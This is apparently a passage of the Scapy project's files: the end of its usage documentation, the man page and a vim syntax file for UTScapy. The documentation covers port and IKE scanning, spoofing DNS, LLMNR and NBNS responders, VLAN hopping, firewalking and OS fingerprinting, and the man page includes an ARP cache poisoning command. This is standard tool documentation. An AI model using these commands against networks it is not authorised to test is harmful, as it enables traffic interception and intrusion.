TCP SYN on each port. Wait for a SYN-ACK or a RST or an ICMP error:: >>> res, unans = sr( IP(dst="target") /TCP(flags="S", dport=(1,1024)) ) Possible result visualization: open ports :: >>> res.nsummary( lfilter=lambda s,r: (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) ) IKE Scanning ------------ We try to identify VPN concentrators by sending ISAKMP Security Association proposals and receiving the answers:: >>> res, unans = sr( IP(dst="192.168.1.0/24")/UDP() /ISAKMP(init_cookie=RandString(8), exch_type="identity prot.") /ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal()) ) Visualizing the results in a list:: >>> res.nsummary(prn=lambda s,r: r.src, lfilter=lambda s,r: r.haslayer(ISAKMP) ) DNS server ---------- By default, ``dnsd`` uses a joker (IPv4 only): it answers to all unknown servers with the joker. See :class:`~scapy.layers.dns.DNS_am`:: >>> dnsd(iface="tap0", match={"google.com": "1.1.1.1"}, joker="192.168.1.1") You can also use ``relay=True`` to replace the joker behavior with a forward to a server included in ``conf.nameservers``. mDNS server ------------ See :class:`~scapy.layers.dns.mDNS_am`:: >>> mdnsd(iface="eth0", joker="192.168.1.1") Note that ``mdnsd`` extends the ``dnsd`` API. LLMNR server ------------ See :class:`~scapy.layers.llmnr.LLMNR_am`:: >>> conf.iface = "tap0" >>> llmnrd(iface="tap0", from_ip=Net("10.0.0.1/24")) Note that ``llmnrd`` extends the ``dnsd`` API. Netbios server -------------- See :class:`~scapy.layers.netbios.NBNS_am`:: >>> nbnsd(iface="eth0") # With local IP >>> nbnsd(iface="eth0", ip="192.168.122.17") # With some other IP Node status request (get NetbiosName from IP) --------------------------------------------- .. code:: >>> sr1(IP(dst="192.168.122.17")/UDP()/NBNSHeader()/NBNSNodeStatusRequest()) NBNS Query Request (find by NetbiosName) ---------------------------------------- .. code:: >>> conf.checkIPaddr = False # Mandatory because we are using a broadcast destination and receiving unicast >>> sr1(IP(dst="192.168.0.255")/UDP()/NBNSHeader()/NBNSQueryRequest(QUESTION_NAME="DC1")) mDNS Query Request ------------------ For instance, find all spotify connect devices. .. code:: >>> # For interface 'eth0' >>> ans, _ = sr(IPv6(dst="ff02::fb%eth0")/UDP(sport=5353, dport=5353)/DNS(rd=0, qd=[DNSQR(qname='_spotify-connect._tcp.local', qtype="PTR")]), multi=True, timeout=2) >>> ans.show() .. note:: As you can see, we used a scope identifier (``%eth0``) to specify on which interface we want to use the above multicast IP. Advanced traceroute ------------------- TCP SYN traceroute ^^^^^^^^^^^^^^^^^^ :: >>> ans, unans = sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S")) Results would be:: >>> ans.summary( lambda s,r: r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}")) 192.168.1.1 time-exceeded 68.86.90.162 time-exceeded 4.79.43.134 time-exceeded 4.79.43.133 time-exceeded 4.68.18.126 time-exceeded 4.68.123.38 time-exceeded 4.2.2.1 SA UDP traceroute ^^^^^^^^^^^^^^ Tracerouting an UDP application like we do with TCP is not reliable, because there's no handshake. We need to give an applicative payload (DNS, ISAKMP, NTP, etc.) to deserve an answer:: >>> res, unans = sr(IP(dst="target", ttl=(1,20)) /UDP()/DNS(qd=DNSQR(qname="test.com")) We can visualize the results as a list of routers:: >>> res.make_table(lambda s,r: (s.dst, s.ttl, r.src)) DNS traceroute ^^^^^^^^^^^^^^ We can perform a DNS traceroute by specifying a complete packet in ``l4`` parameter of ``traceroute()`` function:: >>> ans, unans = traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org"))) Begin emission: ..*....******...******.***...****Finished to send 30 packets. *****...***............................... Received 75 packets, got 28 answers, remaining 2 packets 4.2.2.1:udp53 1 192.168.1.1 11 4 68.86.90.162 11 5 4.79.43.134 11 6 4.79.43.133 11 7 4.68.18.62 11 8 4.68.123.6 11 9 4.2.2.1 ... Etherleaking ------------ :: >>> sr1(IP(dst="172.16.1.232")/ICMP()) >> ICMP leaking ------------ This was a Linux 2.0 bug:: >>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP()) >>>> VLAN hopping ------------ In very specific conditions, a double 802.1q encapsulation will make a packet jump to another VLAN:: >>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP()) Wireless sniffing ----------------- The following command will display information similar to most wireless sniffers:: >>> sniff(iface="ath0", prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\t%Dot11Beacon.cap%}")) .. note:: On Windows and OSX, you will need to also use `monitor=True`, which only works on scapy>2.4.0 (2.4.0dev+). This might require you to manually toggle monitor mode. The above command will produce output similar to the one below:: 00:00:00:01:02:03 netgear 6L ESS+privacy+PBCC 11:22:33:44:55:66 wireless_100 6L short-slot+ESS+privacy 44:55:66:00:11:22 linksys 6L short-slot+ESS+privacy 12:34:56:78:90:12 NETGEAR 6L short-slot+ESS+privacy+short-preamble Recipes ======= Simplistic ARP Monitor ---------------------- This program uses the ``sniff()`` callback (parameter prn). The store parameter is set to 0 so that the ``sniff()`` function will not store anything (as it would do otherwise) and thus can run forever. The filter parameter is used for better performances on high load : the filter is applied inside the kernel and Scapy will only see ARP traffic. :: #! /usr/bin/env python from scapy.all import * def arp_monitor_callback(pkt): if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%") sniff(prn=arp_monitor_callback, filter="arp", store=0) Identifying rogue DHCP servers on your LAN ------------------------------------------- .. index:: single: DHCP Problem ^^^^^^^ You suspect that someone has installed an additional, unauthorized DHCP server on your LAN -- either unintentionally or maliciously. Thus you want to check for any active DHCP servers and identify their IP and MAC addresses. Solution ^^^^^^^^ Use Scapy to send a DHCP discover request and analyze the replies:: >>> conf.checkIPaddr = False >>> hw = get_if_hwaddr(conf.iface) >>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"]) >>> ans, unans = srp(dhcp_discover, multi=True) # Press CTRL-C after several seconds Begin emission: Finished to send 1 packets. .*...*.. Received 8 packets, got 2 answers, remaining 0 packets In this case we got 2 replies, so there were two active DHCP servers on the test network:: >>> ans.summary() Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP We are only interested in the MAC and IP addresses of the replies: >>> for p in ans: print(p[1][Ether].src, p[1][IP].src) ... 00:de:ad:be:ef:00 192.168.1.1 00:11:11:22:22:33 192.168.1.11 Discussion ^^^^^^^^^^ We specify ``multi=True`` to make Scapy wait for more answer packets after the first response is received. This is also the reason why we can't use the more convenient ``dhcp_request()`` function and have to construct the DHCP packet manually: ``dhcp_request()`` uses ``srp1()`` for sending and receiving and thus would immediately return after the first answer packet. Moreover, Scapy normally makes sure that replies come from the same IP address the stimulus was sent to. But our DHCP packet is sent to the IP broadcast address (255.255.255.255) and any answer packet will have the IP address of the replying DHCP server as its source IP address (e.g. 192.168.1.1). Because these IP addresses don't match, we have to disable Scapy's check with ``conf.checkIPaddr = False`` before sending the stimulus. See also ^^^^^^^^ http://en.wikipedia.org/wiki/Rogue_DHCP Firewalking ----------- TTL decrementation after a filtering operation only not filtered packets generate an ICMP TTL exceeded >>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024))) >>> for s,r in ans: ... if r.haslayer(ICMP) and r.payload.type == 11: ... print(s.dport) Find subnets on a multi-NIC firewall only his own NIC’s IP are reachable with this TTL:: >>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP()) >>> for i in unans: print(i.dst) TCP Timestamp Filtering ------------------------ Problem ^^^^^^^ Many firewalls include a rule to drop TCP packets that do not have TCP Timestamp option set which is a common occurrence in popular port scanners. Solution ^^^^^^^^ To allow Scapy to reach target destination additional options must be used:: >>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))])) Viewing packets with Wireshark ------------------------------ .. index:: single: wireshark() Problem ^^^^^^^ You have generated or sniffed some packets with Scapy. Now you want to view them with `Wireshark `_, because of its advanced packet dissection capabilities. Solution ^^^^^^^^ That's what :py:func:`wireshark` is for! .. code-block:: python3 # First, generate some packets... packets = IP(src="192.0.2.9", dst=Net("192.0.2.10/30"))/ICMP() # Show them with Wireshark wireshark(packets) Wireshark will start in the background, and show your packets. Discussion ^^^^^^^^^^ .. py:function:: wireshark(pktlist, ...) With a :py:class:`Packet` or :py:class:`PacketList`, serialises your packets, and streams this into Wireshark via ``stdin`` as if it were a capture device. Because this uses ``pcap`` format to serialise the packets, there are some limitations: * Packets must be all of the same ``linktype``. For example, you can't mix :py:class:`Ether` and :py:class:`IP` at the top layer. * Packets must have an assigned (and supported) ``DLT_*`` constant for the ``linktype``. An unsupported ``linktype`` is replaced with ``DLT_EN10MB`` (Ethernet), and will display incorrectly in Wireshark. For example, can't pass a bare :py:class:`ICMP` packet, but you can send it as a payload of an :py:class:`IP` or :py:class:`IPv6` packet. With a filename (passed as a string), this loads the given file in Wireshark. This needs to be in a format that Wireshark supports. You can tell Scapy where to find the Wireshark executable by changing the ``conf.prog.wireshark`` configuration setting. This accepts the same extra parameters as :py:func:`tcpdump`. .. seealso:: :py:class:`WiresharkSink` A :ref:`PipeTools sink ` for live-streaming packets. :manpage:`wireshark(1)` Additional description of Wireshark's functionality, and its command-line arguments. `Wireshark's website`__ For up-to-date releases of Wireshark. `Wireshark Protocol Reference`__ Contains detailed information about Wireshark's protocol dissectors, and reference documentation for various network protocols. __ https://www.wireshark.org __ https://wiki.wireshark.org/ProtocolReference Performance of Scapy -------------------- Problem ^^^^^^^ Scapy dissects slowly and/or misses packets under heavy loads. .. note:: Please bear in mind that Scapy is not designed to be blazing fast, but rather easily hackable & extensible. The packet model makes it VERY easy to create new layers, compared to pretty much all other alternatives, but comes with a performance cost. Of course, we still do our best to make Scapy as fast as possible, but it's not the absolute main goal. Solution ^^^^^^^^ There are quite a few ways of speeding up scapy's dissection. You can use all of them - **Using a BPF filter**: The OS is faster than Scapy. If you make the OS filter the packets instead of Scapy, it will only handle a fraction of the load. Use the ``filter=`` argument of the :py:func:`~scapy.sendrecv.sniff` function. - **By disabling layers you don't use**: If you are not using some layers, why dissect them? You can let Scapy know which layers to dissect and all the others will simply be parsed as ``Raw``. This comes with a great performance boost but requires you to know what you're doing. .. code:: python # Enable filtering: only Ether, IP and ICMP will be dissected conf.layers.filter([Ether, IP, ICMP]) # Disable filtering: restore everything to normal conf.layers.unfilter() Very slow start because of big routes ------------------------------------- Problem ^^^^^^^ Scapy takes ages to start because you have very big routing tables. Solution ^^^^^^^^ Disable the auto-loading of the routing tables: **CLI:** in ``~/.config/scapy/prestart.py`` add: .. code:: python conf.route_autoload = False conf.route6_autoload = False **Programmatically:** .. code:: python # Before any other Scapy import from scapy.config import conf conf.route_autoload = False conf.route6_autoload = False # Import Scapy here from scapy.all import * At anytime, you can trigger the routes loading using ``conf.route.resync()`` or ``conf.route6.resync()``, or add the routes yourself `as shown here <#routing>`_. OS Fingerprinting ----------------- ISN ^^^ Scapy can be used to analyze ISN (Initial Sequence Number) increments to possibly discover vulnerable systems. First we will collect target responses by sending a number of SYN probes in a loop:: >>> ans, unans = srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S")) Once we obtain a reasonable number of responses we can start analyzing collected data with something like this: >>> temp = 0 >>> for s, r in ans: ... temp = r[TCP].seq - temp ... print("%d\t+%d" % (r[TCP].seq, temp)) ... 4278709328 +4275758673 4279655607 +3896934 4280642461 +4276745527 4281648240 +4902713 4282645099 +4277742386 4283643696 +5901310 nmap_fp ^^^^^^^ Nmap fingerprinting (the old "1st generation" one that was done by Nmap up to v4.20) is supported in Scapy. In Scapy v2 you have to load an extension module first:: >>> load_module("nmap") If you have Nmap installed you can use it's active os fingerprinting database with Scapy. Make sure that version 1 of signature database is located in the path specified by:: >>> conf.nmap_base Then you can use the ``nmap_fp()`` function which implements same probes as in Nmap's OS Detection engine:: >>> nmap_fp("192.168.1.1",oport=443,cport=1) Begin emission: .****..**Finished to send 8 packets. *................................................ Received 58 packets, got 7 answers, remaining 1 packets (1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch', 'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86) w/grsecurity.org and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11']) p0f ^^^ If you have p0f installed on your system, you can use it to guess OS name and version right from Scapy (only SYN database is used). First make sure that p0f database exists in the path specified by:: >>> conf.p0f_base For example to guess OS from a single captured packet: >>> sniff(prn=prnp0f) 192.168.1.100:54716 - Linux 2.6 (newer, 1) (up: 24 hrs) -> 74.125.19.104:www (distance 0) ================================================ FILE: doc/scapy.1 ================================================ \" SPDX-License-Identifier: GPL-2.0-only .TH SCAPY 1 "March 24, 2024" .SH NAME scapy \- Interactive packet manipulation tool .SH SYNOPSIS .B scapy .RI [ options ] .SH DESCRIPTION This manual page documents briefly the .B Scapy tool. .PP \fBScapy\fP is a powerful interactive packet manipulation tool, packet generator, network scanner, network discovery, packet sniffer, etc. It can for the moment replace hping, parts of nmap, arpspoof, arp-sk, arping, tcpdump, tshark, p0f, ... .PP \fBScapy\fP uses the Python interpreter as a command board. That means that you can use directly Python language (assign variables, use loops, define functions, etc.) .PP The idea is simple. Those kinds of tools do two things : sending packets and receiving answers. That's what \fBScapy\fP does : you define a set of packets, it sends them, receives answers, matches requests with answers and returns a list of packet couples (request, answer) and a list of unmatched packets. This has the big advantage over tools like nmap or hping that an answer is not reduced to (open/closed/filtered), but is the whole packet. .PP On top of this can be used to build more high-level functions, for example, one that does traceroutes and give as a result only the start TTL of the request and the source IP of the answer. One that pings a whole network and gives the list of machines answering. One that does a portscan and returns a LaTeX report. .SH OPTIONS Options for Scapy are: .TP \fB\-h\fR display usage .TP \fB\-H\fR header-less mode, also reduces verbosity. .TP \fB\-d\fR increase log verbosity. Can be used many times. .TP \fB\-p\fR PRESTART_FILE use PRESTART_FILE instead of $HOME/.config/scapy/prestart.py as pre-startup file .TP \fB\-P\fR do not run prestart file .TP \fB\-c\fR STARTUP_FILE use STARTUP_FILE instead of $HOME/.config/scapy/startup.py as startup file .TP \fB\-C\fR do not run startup file .SH COMMANDS Only the vital commands to begin are listed here for the moment. .TP \fBls()\fR lists supported protocol layers. If a protocol layer is given as parameter, lists its fields and types of fields. If a string is given as parameter, it is used to filter the layers. .TP \fBlsc()\fR lists scapy's main user commands. .TP \fBconf\fR this object contains the configuration. .SH FILES \fB$HOME/.config/scapy/prestart.py\fR This file is run before Scapy core is loaded. Only the \fBconf\fP object is available. This file can be used to configure the CLI, configure parameters such as the \fBconf.load_layers\fP list to choose which layers will be loaded, or change the logging level (for instance): .nf conf.interactive_shell = "bpython" log_loading.setLevel(logging.WARNING) conf.load_layers.remove("bluetooth") conf.load_layers.append("new_layer") .fi \fB$HOME/.config/scapy/startup.py\fR This file is run after Scapy is loaded. It can be used to configure more of Scapy behaviors, like un-registering layers: .nf conf.prog.pdfreader = "xpdf" split_layers(UDP,DNS) .fi .SH EXAMPLES More verbose examples are available in the documentation at \fIhttps://scapy.readthedocs.io/\fP. Just run \fBscapy\fP and try the following commands in the interpreter. .LP Test the robustness of a network stack with invalid packets: .nf sr(IP(dst="172.16.1.1", ihl=2, options=["verb$2"], version=3)/ICMP(), timeout=2) .fi .LP Packet sniffing and dissection (with a bpf filter or tshark-like output): .nf a=sniff(filter="tcp port 110") a=sniff(prn = lambda x: x.show) .fi .LP Sniffed packet re-emission: .nf a=sniff(filter="tcp port 110") sendp(a) .fi .LP Pcap file packet re-emission: .nf sendp(rdpcap("file.cap")) .fi .LP Manual TCP traceroute: .nf sr(IP(dst="www.google.com", ttl=(1,30))/TCP(seq=RandInt(), sport=RandShort(), dport=dport) .fi .LP Protocol scan: .nf sr(IP(dst="172.16.1.28", proto=(1,254))) .fi .LP ARP ping: .nf srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="172.16.1.1/24")) .fi .LP ACK scan: .nf sr(IP(dst="172.16.1.28")/TCP(dport=(1,1024), flags="A")) .fi .LP Passive OS fingerprinting: .nf sniff(prn=prnp0f) .fi .LP Active OS fingerprinting: .nf nmap_fp("172.16.1.232") .fi .LP ARP cache poisoning: .nf sendp(Ether(dst=tmac)/ARP(op="who-has", psrc=victim, pdst=target)) .fi .LP Reporting: .nf report_ports("192.168.2.34", (20,30)) .fi .SH SEE ALSO .nf The official website: \fIhttps://scapy.net/\fP The GitHub Development repository: \fIhttps://github.com/secdev/scapy/\fP The official documentation: \fIhttps://scapy.readthedocs.io/en/latest/\fP .fi .SH BUGS Does not give the right source IP for routes that use interface aliases. May miss packets under heavy load. This is a restriction from python itself Session saving is limited by Python ability to marshal objects. As a consequence, lambda functions and generators can't be saved, which seriously reduce the usefulness of this feature. BPF filters don't work on Point-to-point interfaces. .SH AUTHOR Philippe Biondi and the Scapy community. ================================================ FILE: doc/syntax/vim_uts_syntax/ftdetect/filetype.vim ================================================ au BufRead,BufNewFile *.uts setfiletype uts ================================================ FILE: doc/syntax/vim_uts_syntax/ftdetect/uts.vim ================================================ au BufRead,BufNewFile *.uts set filetype=uts ================================================ FILE: doc/syntax/vim_uts_syntax/install.sh ================================================ #!/bin/bash if [[ $(pwd) != *"doc/syntax/vim_uts_syntax" ]] then echo "Wrong current directory. Please call this script if you are inside doc/syntax/vim_uts_syntax" exit -1 fi if [ ! -d "$HOME/.vim" ]; then echo "$HOME/.vim doesn't exist" exit -1 fi if [ -f "$HOME/.vim/ftdetect/filetype.vim" ]; then echo "$HOME/.vim/ftdetect/filetype.vim already exists. You may not want to overwrite this file." fi mkdir -p -v $HOME/.vim/ftdetect mkdir -p -v $HOME/.vim/syntax cp -i -v ftdetect/filetype.vim $HOME/.vim/ftdetect/filetype.vim cp -i -v ftdetect/uts.vim $HOME/.vim/ftdetect/uts.vim cp -i -v syntax/uts.vim $HOME/.vim/syntax/uts.vim echo "Installed" ================================================ FILE: doc/syntax/vim_uts_syntax/syntax/uts.vim ================================================ " Vim syntax file " Language: UTScapy " Maintainer: Nils Weiss " Last Change: 2019 June 07 " Credits: Neil Schemenauer " Dmitry Vasiliev " Zvezdan Petkovic " " This file is a copy with additions " of Zvezdan Petkovic python syntax file. " " Optional highlighting can be controlled using these variables. " " let python_no_builtin_highlight = 1 " let python_no_doctest_code_highlight = 1 " let python_no_doctest_highlight = 1 " let python_no_exception_highlight = 1 " let python_no_number_highlight = 1 " let python_space_error_highlight = 1 " " All the options above can be switched on together. " " let python_highlight_all = 1 " " quit when a syntax file was already loaded. if exists("b:current_syntax") finish endif " We need nocompatible mode in order to continue lines with backslashes. " Original setting will be restored. let s:cpo_save = &cpo set cpo&vim if exists("python_no_doctest_highlight") let python_no_doctest_code_highlight = 1 endif if exists("python_highlight_all") if exists("python_no_builtin_highlight") unlet python_no_builtin_highlight endif if exists("python_no_doctest_code_highlight") unlet python_no_doctest_code_highlight endif if exists("python_no_doctest_highlight") unlet python_no_doctest_highlight endif if exists("python_no_exception_highlight") unlet python_no_exception_highlight endif if exists("python_no_number_highlight") unlet python_no_number_highlight endif let python_space_error_highlight = 1 endif " Keep Python keywords in alphabetical order inside groups for easy " comparison with the table in the 'Python Language Reference' " https://docs.python.org/2/reference/lexical_analysis.html#keywords, " https://docs.python.org/3/reference/lexical_analysis.html#keywords. " Groups are in the order presented in NAMING CONVENTIONS in syntax.txt. " Exceptions come last at the end of each group (class and def below). " " Keywords 'with' and 'as' are new in Python 2.6 " (use 'from __future__ import with_statement' in Python 2.5). " " Some compromises had to be made to support both Python 3 and 2. " We include Python 3 features, but when a definition is duplicated, " the last definition takes precedence. " " - 'False', 'None', and 'True' are keywords in Python 3 but they are " built-ins in 2 and will be highlighted as built-ins below. " - 'exec' is a built-in in Python 3 and will be highlighted as " built-in below. " - 'nonlocal' is a keyword in Python 3 and will be highlighted. " - 'print' is a built-in in Python 3 and will be highlighted as " built-in below (use 'from __future__ import print_function' in 2) " - async and await were added in Python 3.5 and are soft keywords. " syn keyword pythonStatement False None True syn keyword pythonStatement as assert break continue del exec global syn keyword pythonStatement lambda nonlocal pass print return with yield syn keyword pythonStatement class def nextgroup=pythonFunction skipwhite syn keyword pythonConditional elif else if syn keyword pythonRepeat for while syn keyword pythonOperator and in is not or syn keyword pythonException except finally raise try syn keyword pythonInclude from import syn keyword pythonAsync async await " Decorators (new in Python 2.4) " A dot must be allowed because of @MyClass.myfunc decorators. syn match pythonDecorator "@" display contained syn match pythonDecoratorName "@\s*\h\%(\w\|\.\)*" display contains=pythonDecorator " Python 3.5 introduced the use of the same symbol for matrix multiplication: " https://www.python.org/dev/peps/pep-0465/. We now have to exclude the " symbol from highlighting when used in that context. " Single line multiplication. syn match pythonMatrixMultiply \ "\%(\w\|[])]\)\s*@" \ contains=ALLBUT,pythonDecoratorName,pythonDecorator,pythonFunction,pythonDoctestValue \ transparent " Multiplication continued on the next line after backslash. syn match pythonMatrixMultiply \ "[^\\]\\\s*\n\%(\s*\.\.\.\s\)\=\s\+@" \ contains=ALLBUT,pythonDecoratorName,pythonDecorator,pythonFunction,pythonDoctestValue \ transparent " Multiplication in a parenthesized expression over multiple lines with @ at " the start of each continued line; very similar to decorators and complex. syn match pythonMatrixMultiply \ "^\s*\%(\%(>>>\|\.\.\.\)\s\+\)\=\zs\%(\h\|\%(\h\|[[(]\).\{-}\%(\w\|[])]\)\)\s*\n\%(\s*\.\.\.\s\)\=\s\+@\%(.\{-}\n\%(\s*\.\.\.\s\)\=\s\+@\)*" \ contains=ALLBUT,pythonDecoratorName,pythonDecorator,pythonFunction,pythonDoctestValue \ transparent syn match pythonFunction "\h\w*" display contained syn match pythonComment "#.*$" contains=pythonTodo,@Spell syn keyword pythonTodo FIXME NOTE NOTES TODO XXX contained syn match utsCampaign "^%.*$" syn match utsTestSet "^+.*$" syn match utsUnitTest "^=.*$" syn match utsKeyword "^\~.*$" syn match utsComment "^\*.*$" " Triple-quoted strings can contain doctests. syn region pythonString matchgroup=pythonQuotes \ start=+[uU]\=\z(['"]\)+ end="\z1" skip="\\\\\|\\\z1" \ contains=pythonEscape,@Spell syn region pythonString matchgroup=pythonTripleQuotes \ start=+[uU]\=\z('''\|"""\)+ end="\z1" keepend \ contains=pythonEscape,pythonSpaceError,pythonDoctest,@Spell syn region pythonRawString matchgroup=pythonQuotes \ start=+[uU]\=[rR]\z(['"]\)+ end="\z1" skip="\\\\\|\\\z1" \ contains=@Spell syn region pythonRawString matchgroup=pythonTripleQuotes \ start=+[uU]\=[rR]\z('''\|"""\)+ end="\z1" keepend \ contains=pythonSpaceError,pythonDoctest,@Spell syn match pythonEscape +\\[abfnrtv'"\\]+ contained syn match pythonEscape "\\\o\{1,3}" contained syn match pythonEscape "\\x\x\{2}" contained syn match pythonEscape "\%(\\u\x\{4}\|\\U\x\{8}\)" contained " Python allows case-insensitive Unicode IDs: http://www.unicode.org/charts/ syn match pythonEscape "\\N{\a\+\%(\s\a\+\)*}" contained syn match pythonEscape "\\$" " It is very important to understand all details before changing the " regular expressions below or their order. " The word boundaries are *not* the floating-point number boundaries " because of a possible leading or trailing decimal point. " The expressions below ensure that all valid number literals are " highlighted, and invalid number literals are not. For example, " " - a decimal point in '4.' at the end of a line is highlighted, " - a second dot in 1.0.0 is not highlighted, " - 08 is not highlighted, " - 08e0 or 08j are highlighted, " " and so on, as specified in the 'Python Language Reference'. " https://docs.python.org/2/reference/lexical_analysis.html#numeric-literals " https://docs.python.org/3/reference/lexical_analysis.html#numeric-literals if !exists("python_no_number_highlight") " numbers (including longs and complex) syn match pythonNumber "\<0[oO]\=\o\+[Ll]\=\>" syn match pythonNumber "\<0[xX]\x\+[Ll]\=\>" syn match pythonNumber "\<0[bB][01]\+[Ll]\=\>" syn match pythonNumber "\<\%([1-9]\d*\|0\)[Ll]\=\>" syn match pythonNumber "\<\d\+[jJ]\>" syn match pythonNumber "\<\d\+[eE][+-]\=\d\+[jJ]\=\>" syn match pythonNumber \ "\<\d\+\.\%([eE][+-]\=\d\+\)\=[jJ]\=\%(\W\|$\)\@=" syn match pythonNumber \ "\%(^\|\W\)\zs\d*\.\d\+\%([eE][+-]\=\d\+\)\=[jJ]\=\>" endif " Group the built-ins in the order in the 'Python Library Reference' for " easier comparison. " https://docs.python.org/2/library/constants.html " https://docs.python.org/3/library/constants.html " http://docs.python.org/2/library/functions.html " http://docs.python.org/3/library/functions.html " http://docs.python.org/2/library/functions.html#non-essential-built-in-functions " http://docs.python.org/3/library/functions.html#non-essential-built-in-functions " Python built-in functions are in alphabetical order. if !exists("python_no_builtin_highlight") " built-in constants " 'False', 'True', and 'None' are also reserved words in Python 3 syn keyword pythonBuiltin False True None syn keyword pythonBuiltin NotImplemented Ellipsis __debug__ " built-in functions syn keyword pythonBuiltin abs all any bin bool bytearray callable chr syn keyword pythonBuiltin classmethod compile complex delattr dict dir syn keyword pythonBuiltin divmod enumerate eval filter float format syn keyword pythonBuiltin frozenset getattr globals hasattr hash syn keyword pythonBuiltin help hex id input int isinstance syn keyword pythonBuiltin issubclass iter len list locals map max syn keyword pythonBuiltin memoryview min next object oct open ord pow syn keyword pythonBuiltin print property range repr reversed round set syn keyword pythonBuiltin setattr slice sorted staticmethod str syn keyword pythonBuiltin sum super tuple type vars zip __import__ " Python 2 only syn keyword pythonBuiltin basestring cmp execfile file syn keyword pythonBuiltin long raw_input reduce reload unichr syn keyword pythonBuiltin unicode xrange " Python 3 only syn keyword pythonBuiltin ascii bytes exec " non-essential built-in functions; Python 2 only syn keyword pythonBuiltin apply buffer coerce intern " avoid highlighting attributes as builtins syn match pythonAttribute /\.\h\w*/hs=s+1 \ contains=ALLBUT,pythonBuiltin,pythonFunction,pythonAsync \ transparent endif " From the 'Python Library Reference' class hierarchy at the bottom. " http://docs.python.org/2/library/exceptions.html " http://docs.python.org/3/library/exceptions.html if !exists("python_no_exception_highlight") " builtin base exceptions (used mostly as base classes for other exceptions) syn keyword pythonExceptions BaseException Exception syn keyword pythonExceptions ArithmeticError BufferError syn keyword pythonExceptions LookupError " builtin base exceptions removed in Python 3 syn keyword pythonExceptions EnvironmentError StandardError " builtin exceptions (actually raised) syn keyword pythonExceptions AssertionError AttributeError syn keyword pythonExceptions EOFError FloatingPointError GeneratorExit syn keyword pythonExceptions ImportError IndentationError syn keyword pythonExceptions IndexError KeyError KeyboardInterrupt syn keyword pythonExceptions MemoryError NameError NotImplementedError syn keyword pythonExceptions OSError OverflowError ReferenceError syn keyword pythonExceptions RuntimeError StopIteration SyntaxError syn keyword pythonExceptions SystemError SystemExit TabError TypeError syn keyword pythonExceptions UnboundLocalError UnicodeError syn keyword pythonExceptions UnicodeDecodeError UnicodeEncodeError syn keyword pythonExceptions UnicodeTranslateError ValueError syn keyword pythonExceptions ZeroDivisionError " builtin OS exceptions in Python 3 syn keyword pythonExceptions BlockingIOError BrokenPipeError syn keyword pythonExceptions ChildProcessError ConnectionAbortedError syn keyword pythonExceptions ConnectionError ConnectionRefusedError syn keyword pythonExceptions ConnectionResetError FileExistsError syn keyword pythonExceptions FileNotFoundError InterruptedError syn keyword pythonExceptions IsADirectoryError NotADirectoryError syn keyword pythonExceptions PermissionError ProcessLookupError syn keyword pythonExceptions RecursionError StopAsyncIteration syn keyword pythonExceptions TimeoutError " builtin exceptions deprecated/removed in Python 3 syn keyword pythonExceptions IOError VMSError WindowsError " builtin warnings syn keyword pythonExceptions BytesWarning DeprecationWarning FutureWarning syn keyword pythonExceptions ImportWarning PendingDeprecationWarning syn keyword pythonExceptions RuntimeWarning SyntaxWarning UnicodeWarning syn keyword pythonExceptions UserWarning Warning " builtin warnings in Python 3 syn keyword pythonExceptions ResourceWarning endif if exists("python_space_error_highlight") " trailing whitespace syn match pythonSpaceError display excludenl "\s\+$" " mixed tabs and spaces syn match pythonSpaceError display " \+\t" syn match pythonSpaceError display "\t\+ " endif " Do not spell doctests inside strings. " Notice that the end of a string, either ''', or """, will end the contained " doctest too. Thus, we do *not* need to have it as an end pattern. if !exists("python_no_doctest_highlight") if !exists("python_no_doctest_code_highlight") syn region pythonDoctest \ start="^\s*>>>\s" end="^\s*$" \ contained contains=ALLBUT,pythonDoctest,pythonFunction,@Spell syn region pythonDoctestValue \ start=+^\s*\%(>>>\s\|\.\.\.\s\|"""\|'''\)\@!\S\++ end="$" \ contained else syn region pythonDoctest \ start="^\s*>>>" end="^\s*$" \ contained contains=@NoSpell endif endif " Sync at the beginning of class, function, or method definition. syn sync match pythonSync grouphere NONE "^\%(def\|class\)\s\+\h\w*\s*[(:]" " The default highlight links. Can be overridden later. hi def link pythonStatement Statement hi def link pythonConditional Conditional hi def link pythonRepeat Repeat hi def link pythonOperator Operator hi def link pythonException Exception hi def link pythonInclude Include hi def link pythonAsync Statement hi def link pythonDecorator Define hi def link pythonDecoratorName Function hi def link pythonFunction Function hi def link pythonComment Comment hi def link pythonTodo Todo hi def link pythonString String hi def link pythonRawString String hi def link pythonQuotes String hi def link pythonTripleQuotes pythonQuotes hi def link pythonEscape Special if !exists("python_no_number_highlight") hi def link pythonNumber Number endif if !exists("python_no_builtin_highlight") hi def link pythonBuiltin Function endif if !exists("python_no_exception_highlight") hi def link 